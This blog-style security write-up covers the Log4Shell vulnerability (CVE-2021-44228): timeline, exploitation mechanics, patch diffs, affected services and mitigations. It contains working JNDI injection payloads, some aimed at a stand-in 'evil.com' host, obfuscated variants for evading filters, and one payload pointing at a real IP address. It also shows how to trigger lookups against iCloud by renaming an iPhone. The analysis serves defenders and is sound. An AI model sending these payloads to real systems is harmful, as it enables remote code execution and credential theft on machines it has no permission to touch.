On December 9th, 2021, a critical vulnerability in Java based logging package “Log4j” was disclosed and rated a CVSS score of 10.0 with the ID CVE-2021-44228. This is a remote code execution vulnerability in log4j when a specially crafted string is passed to the logger service. 

Timeline of events 

6th December 2021 : Apache Log4j released 2.15.0 version by patching Log4j vulnerability

9th December 2021 : PoC for RCE in Log4j was published on github and was made public on twitter

11th December 2021 : Khonsari ransomware found in the wild exploiting Log4j vulnerability

13th December 2021 : Apache Log4j releases version 2.16.0 to fix Log4j completely by disabling lookups via JNDI (Java Naming and Directory Interface) 

What is Log4j?

  • Log4j is a popular Java based logging library and is a part of Apache logging services
  • An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled
  • In the past, Log4j Version 1 was also vulnerable to an insecure de-serialization vulnerability that resulted in remote code execution when untrusted data is passed to the SocketServer class while listening for log data (CVE-2019-17571)

Let’s Dive Deep

Exploitation of this vulnerability goes like this:

  • Crafted data from user will be sent to the server (via HTTP, TCP, UDP protocol) 
    • ${jndi:ldap://evilserver.com/payload}
  • Server logs this data and our payload gets triggered due to the Log4j vulnerability
  • Server then sends a request to evilserver.com via JNDI service
  • When the response is a path to a remote Java class, the Java class gets injected into server process and executes malicious code in that class thus resulting in a remote code execution
Figure 1 : Exploitation of Log4j vulnerability illustration 

There are numerous ways to smuggle the payload. Some of the headers are 

  • User-Agent
  • Client-IP
  • Cookie
  • Referrer
  • Authorization 

Thanks to Java, attackers can exploit the vulnerability via RMI (Remote Method Invocation) alongside LDAP, COS (Common Object Service)  and DNS to lookup and load remote objects.


It’s an easy way to evade detection and exploit unpatched services, let’s look at different types of payload we are seeing in the wild. 

  • Clear text payload
  • Varying base64 payload
  • Changing protocol
  • Obfuscating ‘JNDI’ with lower and upper command

Some of the obfuscated payloads looks like as follows :

  • ${jndi:ldap://evil.com/base64payload}
  • ${jndi:${lower:l}${lower:d}a${lower:p}://evil.com/base64payload}
  • ${${lower:jn}di:ldap://evil.com/base64payload}
  • ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:dn}${lower:s}}://evil.com/base64payload}

Any many more combinations like these makes the obfuscated payloads a challenge to block.

Patch Diff


  • Usage of JNDI lookup was made to be enabled explicitly
  • Limit the protocols JNDI uses by default
  • Limiting the servers and classes that can be accessed via LDAP
  • Hosts other than localhosts need to be explicitly allowed
Figure 2 : Addition of new files to Log4j to restrict JNDI lookup
Figure 3: Hardcoded LDAP URL to localhost
Figure 4: Pattern layout no longer enables lookups within the message by default


A new vulnerability was found in Log4j that is an extension of the CVE-2021-44228. Disabling Log4j2.formatMsgNoLookups only disables message lookups but doesn’t fully fix the previous vulnerability. In a Non-Default configuration scenario, Pattern Layout with a context lookup where attackers can craft malicious input data using JNDI lookup pattern results in sensitive information leak like AWS credentials and other such environment variables and may also result in remote code execution. 

Mitigation applied for CVE-2021-44228 will not fix this as this is a context lookup. Ex : $${ctx:loginId}

Here is a good example to understand how it looks like :

Payload : ${${::-j}${::-n}d${::-i}:${::-l}${::-d}${::-a}${::-p}://${::-1}${::-5}${::-9}.${::-2}${::-2}3.5.30:44${::-3}/${::-o}=${::-t}omca${::-t}}



  • To mitigate this Message lookups feature is completely removed
  • Disable access to JNDI by default 
Figure 5: Revision history for Log4j
Figure 6: patch diff for the new version
Figure 7: Verifying if the lookups are disabled

You can check if your service is vulnerable for the Log4j 2 vulnerability by replacing evil.com with www.dnslog.cn. This is a test site to check whether the JNDI lookup is hitting the attacker’s server or not.

A similar exercise can be done on your iPhone as well, as apple iCloud services too are vulnerable to this. Generate a subdomain from dnslog.cn and change your name to “${jndi:ldap://somesubdomain.dnslog.cn/payload}” on your iPhone.

(Note: dnslog.cn is a test site controlled by third-party individuals, one can set up one’s own similar server for testing)

Figure 8: Iphone about page, image courtesy of @chvancooten
Figure 9: Recorded IP address of the device after lookup
Figure 10: DNS lookup of the IP address

Greynoise has identified numerous attempts for RCE via Log4j in their telemetry. Below are the stats.

Figure 11: Increasing RCE attempts via log4j (courtesy of Greynoise)

Here is an infographic from Switzerland CERT that clearly depicts the attack and mitigations at different levels.

Figure 12: Infographic of entire log4j attack and mitigations at different levels


  • Versions less than 2.16.0 are vulnerable for this vulnerability. (Log4j < 2.16.0)
  • Fortunately, versions beginning 1 are not vulnerable for this log shell vulnerability but, they are vulnerable to the earlier insecure de-serialization vulnerability (CVE-2019-17571) which can also result in RCE, so downgrading is not advisable
  • This vulnerability is being exploited in the wild. Attempts of coin mining and Cobalt Strike beaconing were found in post-exploitation artefacts
  • Some of the vulnerable services/components are:
  • Apple iCloud services
  • Steam
  • Twitter
  • Cloudflare
  • Amazon
  • Tesla
  • Apache struts2
  • Minecraft
  • Ghidra
  • VMware
  • Linkedin

A few more vulnerable applications found so far are listed here.

The extent of exploitation of this vulnerability in cybersecurity is yet to unfold as the scope of this vulnerability is platform independent, and the attackers would be racing against time to find applications running the log4j 2 library.


  • Install latest versions for Apache and Ghidra
  • For any third party / cloud services that are vulnerable to this vulnerability, we advise you to use any standard network security product or an AV to block exploitation attempts from or to your computer
  • For services that are running with Log4j v2.10 or above, set the property “log4j2.formatMsgNoLookups=true” and also set the environment variable “LOG4J_FORMAT_MSG_NO_LOOKUPS=true” to avoid looking up malicious LDAP servers
  • Remove the “JndiLookup” class to avoid looking up via JNDI entirely:

“zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class”

Further Reading

Indicators of Compromise (IOCs)


Original Publication Date: 14th December, 2021

Update Date: 17th December, 2021

Like what you're reading? Subscribe to our top stories.

If you want to subscribe to our monthly newsletter, please submit the form below.

    0 replies on “Log4j : Logging Internet”